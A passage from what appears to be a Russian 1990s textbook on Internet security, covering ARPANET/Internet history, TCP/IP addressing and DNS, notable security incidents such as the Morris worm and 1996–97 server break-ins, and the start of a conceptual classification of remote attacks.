2.1. Хронология ARPANET - INTERNET
2.2. Протоколы, адресация и имена в Internet
2.3. Нарушения безопасности сети
2.4. Что дальше?
2.1. Хронология ARPANET - INTERNET
В настоящее время история Internet еще не написана, хотя уже появилось
много заметок и отдельных статей. Все эти материалы находятся в самой
Internet [1,2,3]; появились даже диссертации, посвященные ее истории [4].
Попробуем по годам рассмотреть основные события, которые имели отношение к
Internet. В 1962 году исследования ARPA по вопросам военного применения
компьютерных технологий возглавил доктор Ликлайдер (J.C.R. Licklider),
который предложил для этих целей использовать взаимодействие имеющихся
государственных компьютеров. Он способствовал привлечению к этим работам
частного сектора и университетских ученых. В этом же году появился отчет,
выполненный Полем Бараном (Paul Baran) в корпорации RAND по заказу
военно-воздушных сил, On Distribution Communications , в котором
исследовались различные модели коммуникационных систем и оценивалась их
живучесть. В отчете предлагалась децентрализованная система управления и
связи, которая продолжала бы функционировать при выходе из строя части
системы. Одна из рекомендаций автора касалась построения системы передачи
цифровых данных для большого числа пользователей.
Вскоре основным направлением проводимых агентством исследований стали
компьютерные сети. Главная идея состояла в построении сети из равноправных
узлов, каждый из которых должен был иметь собственные блоки приема,
обработки и формирования сообщений, что должно было обеспечить высокую
живучесть сети даже при выходе из строя множества узлов. Первые
эксперименты по объединению удаленных узлов были проведены уже в 1965 году,
когда были соединены компьютеры TX-2 Массачусетского технологического
института (MIT Lincoln Lab) и Q-32 корпорации SDC (System Development
Corporation) в Санта-Монике. Правда, обмена пакетами между ними в это время
еще не проводилось, обмен осуществлялся посимвольно.
В 1967 году на симпозиуме ACM (Association for Computer Machinery) был
представлен план создания национальной сети с передачей пакетов. Вскоре
после симпозиума Робертс (Lawrence G. Roberts) опубликовал план построения
такой сети - ARPANET (Advanced Research Projects Agency NETwork), и уже в
1969 году министерство обороны утвердило ARPANET в качестве ведущей
организации для исследований в области компьютерных сетей. Первым узлом
новой сети стал UCLA- Центр испытаний сети, а вскоре к нему присоединились
Станфордский исследовательский институт (SRI), UCSB - Culler-Fried
Interactive Mathematics (университет Санта-Барбары) и университет Юта. На
узлах использовались IMP (Interface Message Processor), разработанные
корпорацией Bolt Bаranec Newman, Inc (BBN). Были осуществлены первые
передачи знаков из одних машин в другие. Появился первый RFC (Request for
Comments) - Host Software С.Крокера (S.Crocker). В ATT Lab была разработана
операционная система UNIX. Этот год можно считать годом начала сетевой
революции.
С 1970 года хосты ARPANET начали использовать для обмена NCP - Network
Control Protocol.
В начале 1971 года в сети было уже 15 узлов: UCLA, SRI, UCSB, University
of Utah, BBN, MIT, RAND, SDC, Harvard Lincoln Lab., Stanford, UIU(C), CWRI,
CMU, NASA/A, объединивших 23 хоста. В этом же году Томлинсон (Ray
Tomlinson) из BBN предложил почтовую программу для пересылки сообщений по
сети. В университете Гавайи под руководством Н.Абрахамсона (N.Abrahamson)
была разработана ALONAnet.
В 1972 году на международной конференции по компьютерам и связи было
продемонстрировано взаимодействие TIP (Terminal Interface Processor) c 40
машинами сети. В этом же году была создана группа INWG (InterNetworking
Working Group) под председательством профессора Станфордского университета
Винтона Кирфа (Vinton Cerf) для разработки адресации, необходимой для
согласования различных протоколов. Кирфом вместе с группой аспирантов была
разработана группа протоколов обмена, которые позднее превратились в
TCP/IP. Знал бы я, что протокол TCP/IP станет международным промышленным
стандартом, используемым миллионами людей, - отмечал В. Кирф в 1994 году, -
я бы выбрал большее, чем 32 разряда, адресное пространство и внимательнее
отнесся бы к высокоскоростным средам с длительной задержкой [5]. Была
опубликована спецификация Telnet (RFC 454). В этом году появилась первая
коммерческая версия UNIX, написанная на Си. Успех UNIX превзошел все
ожидания.
Первые международные подключения к ARPANET были осуществлены в 1973 году,
когда к сети подключились машины из Англии (University College of London) и
Норвегии (Rogee Radar Establishment). В этом же году была запущена
спутниковая линия связи с Гавайским университетом. В сентябре 1973 года
Кирф и Кац (Kahn) представили основные идеи национальной сети на совещании
INWG в Англии и опубликовали статью A Protocol for Packet Network
Intercommunications , в которой были изложены детали проектирования
программы управления передачей (Transmission Control Program). В середине
1975 года DARPA пришло к выводу, что ARPANET стабильна и управление
Internet было передано DCA (Defence Communications Agency, ныне известное
как DISA - Defence Information Systems Agency).
В 1976 году Майк Лиcк (Mike Lesk) из ATT Bell Labs разработал протокол
UUCP ( Unix-to-Unix Copy), и уже через год этот протокол стал поставляться
вместе с ОС UNIX версии 7; версия UUCP Berkeley была реализована несколько
позднее. Протоколами TCP/IP повсеместно стали пользоваться для подключения
к ARPANET. Данный отрезок времени характеризовался общим ростом числа
различных сетей. В 1977 году появилась THEORYNET, разработанная Л.
Ландвебером (L. Landweber) из Винсконсинского университета. В сети,
объединявшей около 100 специалистов по вычислительной технике, применялась
электронная почта и Telnet. Была опубликована спецификация электронной
почты (RFC 733). Тимшаре (Timshare) основал Tymnet. Состоялась демонстрация
взаимодействия ARPANET, PRNET (Packet Radio Net), Ethernet и SATNET
(Satellite Net-work) на базе протоколов Internet. В 1979 году на базе UUCP
была запущена USENET. Сеть PRNET перешла под эгиду DARPA.
ARPANET теперь фактически состояла из двух пересекающихся сетей. Одна
являлась рабочей для исследователей ARPA, другая служила для тестирования и
разработки.
В январе 1981 года в целях определения степени пригодности для
министерства обороны предлагаемых различными разработчиками компьютерных
систем был создан Центр компьютерной безопасности министерства обороны (DSC
- Defence Security Center). Началась эксплуатация BITNET (Because It's Time
NETwork) и CSNET.
В 1982 году DCA и ARPA установили в качестве основы построения сети
Internet Protocol (IP) и Trans-mission Control Protocol (TCP).
Министерство обороны США 1 января 1983 года объявило TCP/IP своим
стандартом. Было объявлено, что ARPANET закончила исследовательскую стадию,
но продолжает оставаться под руководством DARPA и DCA. Введение
разработанного в Висконсинском университете сервера имен более не требовало
от пользователей знания цифрового адреса необходимой машины. В этом же году
вся ARPANET была переведена с NCP на TCP/IP. Из состава ARPANET выделилась
сеть MILNET (Military Network), предназначенная только для обмена военной
информацией. Появились настольные рабочие станции c ОС Berkeley UNIX,
которая включала программы IP-соединения. Была создана IAB (Internet
Activities Board). Очередная версия ОС UNIX Berkeley release 4.2 BSD
включала TCP/IP. Был введен в эксплуатацию шлюз между ARPANET и CSNET.
В 1984 году введена система DNS (Domain Name System). Общее число хостов
в сети превысило 1 000. В сентябре 1985 года DSC был переименован в
Национальный центр компьютерной безопасности - NCSC (National Computer
Security Center), который перешел под управление Агентства национальной
безопасности - NSA (National Security Agency). Был создан NSF (National
Science Foundation), цель которого состояла в построении сети CSNET
(Computer Science Network) для объединения национальных компьютерных
центров, многие из которых не имели доступа к ARPANET.
Работы по формированию CSNET усилились в 1986 году, когда началось
создание центров суперкомпьютеров. В результате этого была создана сеть
NSFNET с магистральной скоростью передачи данных- 56 Кбит/с. Сеть
основывалась на 5 суперкомпьютерных центрах в Принстоне, Питсбурге, UCSD,
NCSA и Корнельском университете. Это позволило существенно увеличить
количество передаваемых данных между университетами. Был разработан и
внедрен NNTP (Network News Transfer Protocol) для повышения
производительности новостей Usenet. Число хостов в 1987 году превысило 10
000. Число хостов BITNET достигло 1 000. Построением NSFNET стали
заниматься консорциумы IBM, MCI и MERIT.
2 ноября 1988 года выпускник Корнельского университета Роберт Таппан
Моррис запустил в сети свою программу, которая из-за ошибки начала
бесконтрольное распространение и многократное инфицирование узлов сети. В
результате было инфицировано около 6200 машин, что составило 7,3 % общей
численности машин в сети. После анализа событий DARPA сформировала CERT
(Computer Emergency Response Team). Сеть NSFNET перешла на магистральную
скорость T1 (1,544 Мбит/с). К сети NSFNET подключились Дания, Исландия,
Канада, Норвегия, Финляндия, Франция и Швеция. В 1989 году число хостов
превысило 100 000. Под эгидой IAB образованы IETF (Internet Engineering
Task Force) и IRTF (Internet Research Task Force). К сети подключились
Австралия, Великобритания, Германия, Израиль, Италия, Мексика, Нидерланды,
Новая Зеландия, Пуэрто Рико и Япония.
В 1990 году собственно ARPANET прекратила свое существование, ее функции
продолжала NSFNET. К сети подключились Австрия, Аргентина, Бельгия,
Бразилия, Греция, Индия, Ирландия, Испания, Чили, Швейцария и Южная Корея.
В 1991 году в Майнском университете П. Линднер (Paul Lindner) и Марк
МакКахил (Mark P. McCahill) разработали программу Gopher. В CERN (Centre
European pour la Recherche Nucleare) Тим Бернес-Ли (Tim Berness-Lee)
разработал World-Wide Web (WWW). Филипп Циммерман (Philip Zimmermen)
реализовал PGP (Pretty Good Privacy). Сеть NFSNET стала использовать
магистрали со скоростью T3 (44,736 Мбит/с). Трафик стал составлять 10
миллиардов пакетов в месяц, что составляло 1 триллион байт/месяц. К сети
подключились Венгрия, Гонконг, Польша, Португалия, Сербия, Сингапур,
Тайвань, Тунис, Чехия и Южная Африка.
Число хостов в 1992 году превысило 1 000 000. Служба IAB (Internet
Activities Board) была реорганизована в Internet Architecture Board и стала
частью общества Internet (Internet Society). К сети подключились Венесуэла,
Камерун, Кипр, Кувейт, Латвия, Люксембург, Малайзия, Словакия, Словения,
Таиланд, Эквадор и Эстония.
В 1993 году NSF создал InterNIC для реализации специфических служб
Internet: службы директорий и баз данных, службы регистрации и
информационной службы. К NSFNET подключились Вирджинские острова, Болгария,
Гана, Гуам, Египет, Индонезия, Казахстан, Кения, Коста-Рика, Лихтенштейн,
Объединенные Арабские Эмираты, Перу, Румыния, Турция, Украина, Фиджи и,
наконец, Россия. Начиная с 1994 года началась торговая деятельность через
сеть. Трафик NSFNET превысил 10 триллионов байт/месяц. По популярности
среди пользователей WWW обошла Telnet. К сети подключились Алжир, Армения,
Бермудские острова, Буркина-Фасо, Ямайка, Ливан, Литва, Китай, Колумбия,
Марокко, Масау, Нигер, Никарагуа, Новая Каледония, Панама, Свазиленд,
Сенегал, Узбекистан, Уругвай, Филиппины, Шри-Ланка и Французская Полинезия.
С 1995 года регистрация доменных имен перестала быть бесплатной. Начиная с
14 сентября за регистрацию, которая до этого субсидировалась NSF, взимается
плата в размере 50$. С апреля NSFNET, существовавшая только благодаря
поддержке правительства, исчезла, и была установлена коммерческая система.
Internet продолжил свое существование.
На 1 января 1996 года сеть объединяла 9 472 000 хостов.
2.2. Протоколы, адресация и имена в Internet Протоколы
Протоколами называют распределенные алгоритмы, определяющие, каким
образом осуществляется обмен данными между физическими устройствами или
логическим объектами (процессами). Под семейством протоколов TCP/IP в
широком смысле обычно понимают весь набор реализаций стандартов RFC
(Requests For Comments), а именно:
Internet Protocol (IP);
Address Resolution Protocol (ARP);
Internеt Control Message Protocol (ICMP);
User Datagram Protocol (UDP);
Transport Control Protocol (TCP);
Routing Information Protocol (RIP);
Telnet;
Simple Mail Transfer Protocol (SMTP);
Domain Name System (DNS) и другие.
Общим и основополагающим элементом этого семейства является IP протокол.
Все протоколы Internet являются открытыми и доступными. Большинство
спецификаций протоколов доступно из RFC, например, по адресу
ftp.internic.net. Необходимо отметить, что в конце 80-х годов наблюдался
подлинный бум, вызванный разработкой Международной организацией по
стандартизации коммуникационных протоколов - ISO (International Standard
Organization). Разработанная ISO спецификация, названная моделью
взаимодействия открытых систем (OSI - Open Systems Interconnection),
заполонила научные публикации. Казалось, что эта модель займет первое место
и оттеснит широко распространившийся TCP/IP. Но этого не произошло. Одной
из причин этого явилась тщательная проработка протоколов TCP/IP, их
функциональность и открытость к наращиванию функциональных возможностей,
хотя к настоящему времени достаточно очевидно, что они имеют и множество
недостатков.
Приведем сравнительную схему уровневых моделей протоколов министерства
обороны США (DoD - Department of Defense), OSI и TCP/IP (рис. 2.1).
Рис. 2.1. Уровневые модели протоколов.
Каждый уровень моделей использует определенный формат сообщений. При
переходе сообщения с высшего уровня на низший оно форматируется по правилам
низшего уровня и снабжается заголовком (говорят, что сообщение
закладывается в конверт).
Физический и канальный уровень модели TCP/IP аналогичны соответствующим
уровням OSI:
на физическом уровне осуществляется физическое соединение между
компьютерной системой и фи-зической средой передачи. Он определяет
распо-ложение кабельных контактов, напряжение пита-ния и т.п. Единицей
данных на этом уровне является бит;
на канальном уровне осуществляется пакетиро-вание данных для передачи и
распакетирование для приема. Единица данных на этом уровне называется
фреймом;
на сетевом уровне осуществляется маршрутизация данных в сети. Единицей
данных этого уровня является датаграмма.
Адресация в Internet
Концепция протокола IP представляет сеть как множество компьютеров
(хостов - hosts), подключенных к некоторой интерсети. Интерсеть, в свою
очередь, рассматривается как совокупность физических сетей, связанных
маршрутизаторами. Физические сети представляют из себя коммуникационные
системы произвольной физической природы. Физические объекты (хосты,
маршрутизаторы, подсети) идентифицируются при помощи специальных так
называемых IP-адресов. Каждый IP-адрес представляет собой 32-битовый
идентификатор. Принято записывать IP-адреса в виде 4-х десятичных чисел,
разделенных точками. Каждый адрес является совокупностью двух
идентификаторов: сети - NetID, и хоста- HostID. Все возможные адреса
разделены на 5 классов, схема которых приведена на рис.2.2.
Рис. 2.2. Классы адресов.
Из рисунка видно, что классы сетей определяют как возможное количество
этих сетей, так и число хостов в них. Практически используются только
первые три класса:
Класс А определен для сетей с числом хостов до
16777216. Под поле NetID отведено 7 бит, под поле HostID - 24
бита.
Класс В используется для среднемасштабных
сетей (NetID - 14 бит, HostID - 16 бит). В каждой такой сети
может быть до 65 536 хостов.
Класс С применяется для небольших сетей (NetId - 21
бит, HostID - 8 бит) с числом хостов до 255.
Служба имен доменов Internet
Во времена, когда ARPANET состояла из довольно небольшого числа хостов,
все они были перечислены в одном файле (HOSTS.TXT). Этот файл хранился в
сетевом информационном центре Станфордского исследовательского института
(SRI-NIC - Stanford Research Institute Network Information Center). Каждый
администратор сайта посылал в SRI-NIC дополнения и изменения, происшедшие в
конфигурации его системы. Периодически администраторы переписывали этот
файл из SRI-NIC в свои системы, где из него генерировали файл /etc/hosts. С
ростом ARPANET это стало чрезвычайно затруднительным. С переходом на TCP/IP
совершенствование этого механизма стало необходимостью, поскольку,
например, какой-то администратор мог присвоить новой машине имя уже
существующей. Решением этой проблемы явилось создание доменов, или
локальных полномочий, в которых администратор мог присваивать имена своим
машинам и управлять данными адресации в своем домене.
Служба имен доменов - DNS (Domain Name Service) получает и предоставляет
информацию про хосты сети. Под доменом понимается множество машин, которые
администрируются и поддерживаются как одно целое. Можно сказать, что все
машины локальной сети состав-ляют домен в большей сети, хотя можно и
разделить машины локальной сети на несколько доменов. При подключении к
Internet домен должен быть поименован в соответствии с соглашению об именах
Internet. Internet организован как иерархия доменов. Каждый уровень
иерархии является ветвью уровня root. На каждом уровне Internet находится
сервер имен - машина, которая содержит информацию о машинах низшего уровня
и соответствии их имен IP-адресам. Схема построения иерархии доменов
приведена на рис. 2.3.
Рис. 2.3. Структура имен доменов.
Домен корневого уровня формируется NIC. Домены верхнего уровня имеют
следующие ветви: gov (любые правительственные учреждения), edu
(образовательные учреждения), arpa (ARPANET), com (коммерческие
предприятия), mil (военные организа-ции), org (другие организации, не
попадающие в пре-дыдущие). Начиная с весны 1997 IAHC добавил еще 7 доменов:
firm (фирмы и направления их деятель-ности), store (торговые фирмы), web
(объекты, связан-ные с WWW), arts (объекты, связанные с культурой и
искусством), rec (развлечения и отдых), info (инфор-мационные услуги) и nom
(прочие). Эти имена соответст-вуют типам сетей, которые составляют данные
домены.
Члены организаций на втором уровне управляют своими серверами имен.
Домены локального уровня администрируются орга-низациями. Локальные
домены могут состоять из одного хоста или включать не только множество
хостов, но и свои поддомены.
Каждый узел дерева есть домен, который выбран как метка. Имя домена
образуется конкатенацией (склеи-ванием ) всех меток доменов от корневого до
текущего, перечисленных справа налево и разделенных точками. Например, в
имени kernel.generic.edu: edu - соответствует верхнему уровню, generic -
показывает поддомен edu, kernel - является именем хоста. Необходимо
отметить, что число уровней доменов не ограничено.
Имена доменов являются другим средством дости-жения целевого хоста. В
Internet можно встретить имена типа netcom.com или spry.com. Эти имена
являются именами доменов, и они зарегистрированы подобным же образом.
2.3. Нарушения безопасности сети
Начиная с 1987 года пользователи персональных компьютеров сталкиваются
с различными компьютерными вирусами. Однако казалось, что миру сетей,
большая часть из которых базировалась на ОС UNIX, ничто не угрожает.
Поэтому события ноября 1988 года всколыхнули не только тех, кто имел дело
с компьютерами и сетями, но и широкую общественность. 2 ноября 1988 года
выпускник Корнельского университета Роберт Таппан Моррис запустил свою
программу, которая вышла из-под контроля автора и начала быстро
перемещаться по сети. В короткий срок вирус-червь заполнил многие узлы
Internet, загружая операционные системы своими копиями, вызывая отказы в
обслуживании и т.п. Анализ данной атаки будет проведен в главе 8, сейчас
же отметим несколько интересных моментов.
В сетевом компьютерном мире имя Роберта Морриса было известным. Еще в
1985 году в ATT Bell Labs им был опубликован технический отчет,
посвященный слабостям реализации TCP/IP в версии 4.2 BSD UNIX [7]. Но этот
отчет написан... Робертом Моррисом-старшим - отцом автора червя.
Моррис-старший в это время занимал должность научного руководителя
Национального Центра Компьютерной Безопасности (NCSC - National Computer
Security Center) - эксперта по компьютерной безопасности.
Моррис старший много лет проработал в лаборатории ATT Bell, где в 60-х
годах принимал участие в разработке программ Core Wars. К этому необходимо
добавить, что лето 1988 года Моррис-младший провел в этой же лаборатории,
где был занят переписыванием программ системы безопасности для
компьютеров, работающих под управлением ОС UNIX. Кстати, инцидент с
программой-червем практически никак не сказался на карьере
Морриса-старшего. В начале 1989 года он был избран в специальный
консультативный совет при Национальном институте стандартов и министерстве
торговли. В задачу этого совета входит выработка заключений и рекомендаций
по вопросам безопасности вычислительных систем правительственных органов
США, а также решение вопросов, возникающих при разработке и внедрении
стандартов защиты информации.
Червь Морриса инфицировал 6200 компьютеров.
Подсчитанные потери, хотя формально червь не наносил какого-либо ущерба
данным в инфицированных хостах, были разделены на прямые и косвенные. К
прямым потерям были отнесены:
остановка, тестирование и перезагрузка 42700 машин; идентификация
червя, удаление, чистка памяти и восстановление работоспособности 6200
машин; анализ кода червя, дизассемблирование и документирование;
исправление UNIX систем и тестирование.
Прямые потери были оценены более чем в 32000000 долларов. К косвенным
потерям были отнесены:
потери машинного времени в результате отсутствия доступа к сети; потери
доступа пользователей к сети.
Косвенные потери были оценены более чем в 66000000 долларов. Общие
затраты были оценены на сумму в 98 253 260 долларов.
В результате этого инцидента мир получил представление о компьютерной
опасности, а Internet - постоянную головную боль. После анализа
результатов атаки была образована CERT (Computer Emergency Response Team),
которая стала отслеживать случаи атак и вырабатывать рекомендации по
защите компьютеров и сетей. В самой сети можно почерпнуть данные о
количестве зарегистрированных инцидентов, число которых, конечно же,
неполно, так как многие подвергнувшиеся атакам не сообщают об этом, чтобы
не потерять лицо (таблица 2.1).
Таблица 2.1
Официальное количество инцидентов в Internet
Год Число инцидентов
1988
6
1989
132
1990
252
1991
406
1992
773
1993
?
1994
?
1995
2412
Данные таблицы показывают все возрастающую активность нарушителей
(кракеров), что сопровождается увеличением числа нарушений безопасности
хостов сети.
В качестве примеров приведем относительно последние случаи успешных
атак на серверы Internet:
В августе 1996 года атакован сервер департамента юстиции США. В течение
нескольких часов страницы сервера были заполнены фашистской атрибутикой и
содержали пародию на Билль о телекоммуникациях.
6 сентября 1996 года атаке подвергся сервер компании PANIX, являющейся
одним из крупнейших провайдеров Internet. В результате атаки компания
несколько дней не могла предоставлять услуги своим абонентам.
В октябре 1996 года на сервере ЦРУ вместо Welcome to the Central
Intelligent Agency появился заголовок Welcome to the Central Stupidity
Agency и непристойные тексты.
5 ноября 1996 года был атакован WWW-сервер газеты Нью-Йорк Таймс, в
результате чего было практически невозможно следить за ходом президентских
выборов.
В ноябре 1996 года румынские кракеры заменили на WWW-сервере
правительства портрет президента Илиеску на портрет его соперника
Константинеску.
5 марта 1997 года взломан сервер NASA в Центре управления космическими
полетами Годдарда.
Кракеры разместили на страницах сервера свое обращение, в котором
осуждалась коммерциализация Internet и выражался протест против судебного
преследования знаменитых взломщиков Кевина Митника и Эда Каммингса. В
обращении содержалась угроза атаки на корпоративную Америку.
20 марта был вскрыт сервер Сэнфорда Уоллейса - президента рекламной
фирмы Cyber Promotions. Кракеры поместили в UseNet копию похищенного файла
паролей, содержащего зашифрованные пароли, имена и телефоны клиентов фирмы.
Хотя по численности пользователей Internet наша страна сильно уступает
США, но число нарушений безопасности также увеличиваются. Вот несколько
последних случаев.
27 октября 1996 года российскими кракерами был взломан сервер компании
РОСНЕТ, среди клиентов которой Центральный банк РФ, Сбербанк России,
Торгово-Промышленная Палата, Государственный Таможенный Комитет РФ и
многие другие (п. 4.3.3).
22 ноября 1996 года в Белоруссии на Web-узле оппозиции, представлявшего
независимые новости из различных стран и регионов, была стерта вся
информация.
Многочисленные попытки осуществить мошеннические операции с кредитными
карточками заставили компанию America OnLine 14 декабря 1996 года закрыть
пользователям из России доступ к своим службам.
Этот список может быть продолжен. Практически каждый день приносит все
новые известия о нарушениях безопасности в различных районах мира. Но
печальный опыт жертв кракеров, к сожалению, не учит других. В
подтверждение этого сошлемся на исследование независимого консультанта по
безопасности Дэна Фармера [8], проведенное в ноябре-декабре 1996 года.
Для исследования Фармер выбрал две группы Web-серверов: основную и
контрольную. В основную группу, связанную с деятельностью пользователей,
исследователь включил 50 правительственных хостов, 660 банковских хостов,
274 хоста кредитных союзов, 312 хостов газет и 451 хост секс-клубов. В
контрольную группу были включены выбранные случайным образом 469 хостов.
Каждый из выбранных хостов оценивался на безопасность с помощью свободно
распространяемого средства анализа SATAN (главу 8), одним из авторов
которого является сам Фармер. Результаты исследования говорят сами за
себя. По оценке Фармера более 60% хостов основной группы могут быть
разрушены путем вторжения извне, дополнительно от 9 до 24% могут быть
взломаны при помощи известных, но не устраненных в данных хостах, ошибок в
используемых ими программах wu-ftp и sendmail. Автор считает, что еще
10-20% хостов могло быть поражено при помощи новых атак, происшедших в
последнее время.
Приблизительность оценок исследования вызвана тем, что автор,
естественно, не пытался проникнуть в исследуемые хосты. При сравнении с
контрольной группой оказалось, что уязвимость хостов основной группы вдвое
выше, чем контрольной. Хотя автор не скрывал своего имени и намерений,
только три администратора исследуемых хостов (два из основной группы и
один из контрольной) обнаружили факт проведения исследования их хостов на
безопасность.
В чем же причина того, что нарушители проникают в чужие машины?
Попытаемся кратко перечислить основные причины уязвимости хостов сети:
открытость системы, свободный доступ к информации по организации
сетевого взаимодействия, протоколам и механизмам защиты; наличие ошибок в
программном обеспечении, операционных системах и утилитах, которые открыто
публикуются в сети; разнородность используемых версий программного
обеспечения и операционных систем; сложность организации защиты
межсетевого взаимодействия; ошибки конфигурирования систем и средств
защиты; неправильное или ошибочное администрирование систем;
несвоевременное отслеживание и выполнение рекомендаций специалистов по
защите и анализу случаев вторжения для ликвидации лазеек и ошибок в
программном обеспечении; экономия на средствах и системах обеспечения
безопасности или игнорирование их; умолчание о случаях нарушения
безопасности своего хоста или сети.
Трудно не согласиться с автором нашумевшего документального романа The
Hacker Crackdown Брюсом Стерлингом (Bruce Sterling), который сказал:
Интер-нет- кривое зеркало общества, построившего его. Интернет станет
совершенным, когда совершенным станет общество.
2.4. Что дальше?
В последние годы борьба за мировое лидерство все заметнее смещается в
область телекоммуникаций. По уровню информационной насыщенности
экономической и общественной жизни впереди идут США. Этому способствуют
мощь экономики, ее мобильность, постоянные инвестиции, приток в эту сферу
деятельности ученых и бизнесменов. Кроме того, большую роль играет
собственно американское государство, которое субсидирует многие
приоритетные направления науки и промышленности.
Рис. 2.4. Экспоненциальный рост числа хостов в сети Internet.
Информатика и телекоммуникации позволяют не только кардинально
преобразовывать экономику, но и, по взглядам американских специалистов,
обеспечить экономико-финансовое и даже военно-стратегическое превосходство.
Свидетельством такого отношения США к информатике и телекоммуникациям
служит подписанный 8 февраля 1996 года президентом Б.Клинтоном Закон о
телекоммуникациях. В своей речи на церемонии подписания Клинтон сказал:
Сейчас информационная революция вновь переделывает наш мир, изменяя
привычные методы работы, уклад жизни и даже наше отношение друг к другу.
Закон, в частности, предусматривает подключение к 2000 году всех
американских школ, библиотек и больниц к Internet.
До середины 80-х годов Западная Европа шла вровень с США в области
телекоммуникаций. В 1984 году были начаты различные долгосрочные проекты,
в том числе и в области телекоммуникаций.
Например, программа ESPRIT предназначена для создания европейского
информационного общества ; часть этой программы посвящена исследованиям в
области программного обеспечения и технологий мультимедиа. Програм-мы
STAR, RACE и ACTS имеют связную направленность. Их цель заключается в
создании паневропейской широкополосной сети общего доступа.
Последние годы в Японии наблюдается настоящий бум компьютерных сетей. В
начале 1995 года при кабинете министров был учрежден Центр содействия
построению информационного общества , который выполняет задачу выхода на
первое место в мире по мультимедиа. Ведутся разработки новых технологий
для Японской информационной супермагистрали.
В настоящее время около 60% пользователей Internet живет в США, 21% в
Европе и 6% - в Японии. Численность подсоединенных к Internet хостов [3]
растет по экспоненциальному закону, что иллюстрируется рис. 2.4.
Увеличивается число серверов, используемых не только для предоставления
информации и рекламы, но и для осуществления торговых и финансовых
операций. Разрабатываются и внедряются различные устройства мультимедиа,
которые функционируют в Internet. В различных странах создаются свои
суперсети для подключения к Сети сетей. Экономический форум ведущих стран
в феврале 1997 года в Давосе проходил под девизом:
Создание сетевого общества в эпоху Internet.
В 1994 году рынок телекоммуникаций в США составил порядка 15 миллиардов
долларов, в том числе (в миллиардах долларов): службы частных каналов - 9;
оборудование локальных сетей и маршрутизаторов - 3; службы глобальных
сетей - 1; службы электронных сообщений и новостей - 1; программное
обеспечение и аппаратура - 1.
С середины 80-х годов внимание коммерческих кругов стал привлекать
Internet как возможность устойчивого бизнеса на производстве оборудования
для применения сети. NYSERNET (the New York State regional network) первой
основала компанию Performance Systems International, которая и поныне
является одним из наиболее удачливых провайдеров служб Internet. К
наиболее сильным провайдерам относятся ALTERNET (возник-ший из UUNET),
CERFNet (инициированная General Atomic в 1989 году), NEARNET (начавшая
функционировать в Бостоне, а затем влившаяся в группу компаний
предоставления служб BBN Planet, образовавшейся, кстати, из фирмы BBN -
родоначальника IMP для Internet).
Одной из главных причин экспоненциального роста Internet явилось
появление и развитие все новых услуг и возможностей для пользователей
сети, особенно введение звука и видеоизображений, индексирования и
различных поисковых служб. Многие из этих служб зародились в результате
исследований университетов и научных центров. Примером могут служить
Altavista, Lycos, Yahoo и Infoseek. Эти службы стимулировались появлением
World Wide Web.
Разработанный в CERN, WWW был впервые опробован в 1989 году. В 1992
году он привлек внимание программистов из NCSA (National Centre for
Supercompyting Applications) в университете Иллинойса. Эта команда
разработала графический броузер для WWW, который получил название Mosaic.
По согласованию с NCSA это программное обеспечение распространялось по
Internet бесплатно. Возможность оформления многошрифтового гипертекста,
включения цветной графики, звука и видеоизображений привело к громадному
росту серверов WWW, число которых на май 1995 года составило около 30 000.
Компании стали широко использовать Web как средство предложения своих
продуктов и служб.
Винтон Кирф в своей статье [5] писал:
Рискованно предсказывать будущее чего-либо столь же динамичного, как
Internet. В этой статье он отметил основные направления развития Internet:
продолжение расширения новых служб; появление новых услуг по пакетному
видео, видеоконференциям, передаче голоса (пакетному телефону);
предложение средств обеспечения безопасности выполнения операций в
Internet; увеличение связи Internet с бизнесом.
Internet, по словам Кирфа, действительно является глобальной
инфраструктурой для 21 столетия и, в то же время, является одним из
наиболее мощных факторов свободы. Для нас подтверждением этого может
служить факт передачи новостей во время путча 1991 года. Только благодаря
Internet мир знал о происходящих событиях, и благодаря Internet эти
новости доходили до нас.
3. Удаленные атаки на распределенные вычислительные системы
Непостижимо все, что в мире есть,
К тому ж изъянов в том, что есть, не счесть.
О.Хайам. Рубайи.
Как уже отмечалось ранее, основной особенностью любой распределенной
системы является то, что ее компоненты распределены в пространстве и связь
между ними физически осуществляется при помощи сетевых соединений и
программно при помощи механизма сообщений. При этом все управляющие
сообщения и данные, пересылаемые между объектами распределенной ВС,
передаются по сетевым соединениям в виде пакетов обмена. Эта особенность и
является основной для рассматриваемых в этой главе удаленных атак на
инфраструктуру и протоколы распределенных ВС.
3.1. Классификация удаленных атак на распределенные вычислительные
системы
3.2. Характеристика и механизмы реализации типовых удаленных атак
3.1. Классификация удаленных атак на распределенные вычислительные
системы
Основная цель любой классификации состоит в том, чтобы предложить такие
классификационные признаки, используя которые можно наиболее точно описать
классифицируемые явления или объекты. В связи с тем, что ни в одном из
известных авторам научном исследовании не проводилось различия между
локальными и удаленными информационными воздействиями на ВС, то применение
уже известных обобщенных классификаций для описания удаленных воздействий
не позволяет наиболее точно раскрыть их сущность и описать механизмы и
условия их осуществления. Это связано с тем, что данный класс воздействий
характеризуется сугубо специфичными признаками для распределенных
вычислительных систем. Поэтому для более точного описания удаленных атак и
предлагается следующая классификация.
Итак, удаленные атаки можно классифицировать по следующим признакам:
1. По характеру воздействия
пассивное (класс 1.1)
активное (класс 1.2)
Пассивным воздействием на распределенную вычислительную систему назовем
воздействие, которое не оказывает непосредственного влияния на работу
системы, но может нарушать ее политику безопасности. Именно отсутствие
непосредственного влияния на работу распределенной ВС приводит к тому, что
пассивное удаленное воздействие практически невозможно обнаружить.
Примером пассивного типового удаленного воздействия в РВС служит
прослушивание канала связи в сети.
Под активным воздействием на распределенную ВС будем понимать
воздействие, оказывающее непосредственное влияние на работу системы
(изменение конфигурации РВС, нарушение работоспособности и т. д.) и
нарушающее принятую в ней политику безопасности. Практически все типы
удаленных атак являются активными воздействиями. Это связано с тем, что в
самой природе разрушающего воздействия содержится активное начало.
Очевидной особенностью активного воздействия по сравнению с пассивным
является принципиальная возможность его обнаружения (естественно, с
большей или меньшей степенью сложности), так как в результате его
осуществления в системе происходят определенные изменения. В отличие от
активного, при пассивном воздействии не остается никаких следов (от того,
что атакующий просмотрит чужое сообщение в системе, в тот же момент ничего
не изменится).
2. По цели воздействия
нарушение конфиденциальности информации либо ресурсов системы (класс
2.1)
нарушение целостности информации (класс 2.2)
нарушение работоспособности (доступности)
системы (класс 2.3)
Этот классификационный признак является прямой проекцией трех основных
типов угроз - раскрытия, целостности и отказа в обслуживании.
Основная цель практически любой атаки - получить несанкционированный
доступ к информации. Существуют две принципиальные возможности доступа к
информации: перехват и искажение. Возможность перехвата информации
означает получение к ней доступа, но невозможность ее модификации.
